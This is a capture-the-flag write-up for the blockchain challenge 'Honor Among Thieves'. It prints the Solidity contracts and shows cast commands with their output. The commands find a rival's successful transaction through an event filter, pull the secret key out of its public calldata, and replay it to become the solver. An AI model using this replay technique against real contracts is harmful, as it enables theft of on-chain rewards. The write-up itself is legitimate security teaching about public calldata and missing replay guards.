Honor Among Thieves - Blockchain
Challenge Overview
Honor Among Thieves is a Web3/blockchain challenge whose premise, “eavesdrop on the rival group and find a way to steal the key,” turns out to be a literal description of the intended solution rather than just flavor text. The on-chain objective is defined by the Setup contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Rivals} from "./Rivals.sol";
contract Setup {
Rivals public immutable TARGET;
constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
TARGET = new Rivals(_encryptedFlag, _hashed);
}
function isSolved(address _player) public view returns (bool) {
return TARGET.solver() == _player;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Rivals {
event Voice(uint256 indexed severity);
bytes32 private encryptedFlag;
bytes32 private hashedFlag;
address public solver;
constructor(bytes32 _encrypted, bytes32 _hashed) {
encryptedFlag = _encrypted;
hashedFlag = _hashed;
}
function talk(bytes32 _key) external {
bytes32 _flag = _key ^ encryptedFlag;
if (keccak256(abi.encode(_flag)) == hashedFlag) {
solver = msg.sender;
emit Voice(5);
} else {
emit Voice(block.timestamp % 5);
}
}
}
isSolved() just checks that Rivals.solver equals the player’s own address. solver is only ever set inside talk(bytes32 _key), and only when the caller supplies the exact _key that, XORed with encryptedFlag, produces a _flag whose keccak256 hash matches hashedFlag.

Reconnaissance
Why brute-forcing or reading storage does not work
encryptedFlag and hashedFlag are private, but as with previous challenges, that only restricts Solidity-level access, both values are fully readable off-chain via cast storage once their slots are known. Reading them, however, does not get a solver anywhere on its own:
hashedFlagis akeccak256digest. It is a one-way function; recovering_flagfromhashedFlagdirectly is not computationally feasible.encryptedFlagis only useful once the correct_keyis known, since_flag = _key ^ encryptedFlagrequires the exact_key, not just the ciphertext.- Brute-forcing
_keylocally means searching a2^256space, since_keyis an arbitrarybytes32with no constraint narrowing it down. That is computationally infeasible, exactly like trying to find akeccak256collision by brute force.
So there is no way to derive the winning _key from the contract’s own storage or from the hash alone. The word “Rivals” in the contract name and the challenge’s framing (“eavesdrop on the rival group”) are the actual hint: something else, presumably an automated process seeded as part of the challenge instance, is expected to already be calling talk() with guesses, and Ethereum transactions are never private. Anyone can watch the chain for that activity.
Detecting a successful guess via the Voice event
Every call to talk() emits Voice(uint256 severity), with severity indexed so it can be filtered directly in an event query:
- On failure,
severity = block.timestamp % 5, a pseudo-random value in[0, 4]. - On success,
severityis hardcoded to5, a value that can never occur from the failure branch, making it an unambiguous signal that some caller supplied the correct_key.
Filtering logs for severity == 5 immediately surfaces the winning transaction:
cast logs --rpc-url "http://154.57.164.73:30431/rpc" "event Voice(uint256 indexed severity)" 5
- address: 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e
blockHash: 0x62df1017869ac146188618bba63e262c2a57d8e2b791eaa7d0c359d2ac68af31
blockNumber: 51
data: 0x
logIndex: 0
removed: false
topics: [
0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62
0x0000000000000000000000000000000000000000000000000000000000000005
]
transactionHash: 0xf13ef73010c0c876d9960fad6b69087a11384529e43df05054814cd687c1c1ec
transactionIndex: 0
This confirms both the exact block where the correct key was submitted and the transaction hash that carried it as calldata.
Exploit Development
Extracting the winning key from the transaction calldata
Ethereum transaction inputs are public regardless of contract visibility rules, since calldata is part of the transaction itself, not contract storage. Fetching the winning transaction exposes exactly what was passed to talk():
cast tx --rpc-url "http://154.57.164.73:30431/rpc" 0xf13ef73010c0c876d9960fad6b69087a11384529e43df05054814cd687c1c1ec
from 0x8df35996E6B05D3C8587DECbbC584A1515be94D5
to 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e
input 0x52eab0faf6aa6d17ff5d89cc32186f642fa4435daf42aacf3de22c0316fa190e91ad0d1c
The input field is the raw calldata: the first 4 bytes (0x52eab0fa) are the function selector for talk(bytes32), and everything after that is the ABI-encoded argument, the _key value the rival used to solve the challenge. There is no need to decrypt anything further, this is already the exact bytes32 that satisfies the check inside talk().
Why replaying it is enough
Nothing in talk() prevents it from being called more than once, and nothing checks whether solver has already been set:
function talk(bytes32 _key) external {
bytes32 _flag = _key ^ encryptedFlag;
if (keccak256(abi.encode(_flag)) == hashedFlag) {
solver = msg.sender;
emit Voice(5);
}
...
}
Since encryptedFlag and hashedFlag never change after deployment, submitting the exact same _key again will deterministically recompute the same _flag, pass the same keccak256 comparison, and overwrite solver with whoever calls talk() this time. The rival’s key does not need to be understood or decrypted at all, it just needs to be resent from the player’s own wallet.
Exploitation
Replaying the extracted key from the player’s own address
cast send --rpc-url http://154.57.164.73:30431/rpc --private-key 0x638b4bae277ef7ab42a3589e903f10fc3d7ed5ad54170b40fe2e4f46a70c3e66 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e "talk(bytes32)" f6aa6d17ff5d89cc32186f642fa4435daf42aacf3de22c0316fa190e91ad0d1c
from 0xA81812a634FE36031A6e1555c2172c7Ca6a3D77f
logs [{"topics":["0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62","0x0000000000000000000000000000000000000000000000000000000000000005"], ...}]
status 1 (success)
transactionHash 0x469b2a9acd1bcffdb0b840b21070e028b7b596983de94d8ce64d17c79d6366f0
The emitted Voice event carries severity = 5 again, confirming the same _key still satisfies the check, and this time solver is set to the player’s own address (0xA81812a634FE36031A6e1555c2172c7Ca6a3D77f).
Confirming the solve
cast call --rpc-url "http://154.57.164.73:30431/rpc" 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e "solver()()"
0x000000000000000000000000a81812a634fe36031a6e1555c2172c7ca6a3d77f
solver now matches the player’s address exactly, which satisfies Setup.isSolved().

Conclusion
Honor Among Thieves does not hide its real vulnerability in the cryptography, XOR-then-hash is a perfectly reasonable commitment scheme on its own, but in the assumption that submitting a value through a public blockchain transaction keeps that value private. Calldata is always visible to anyone watching the chain, and a talk() function with no one-time-use guard means any correct answer, once observed, can be resubmitted verbatim by a different caller to claim the same result. The actual “theft” in this challenge is nothing more than reading a public transaction and replaying its input.
written by bara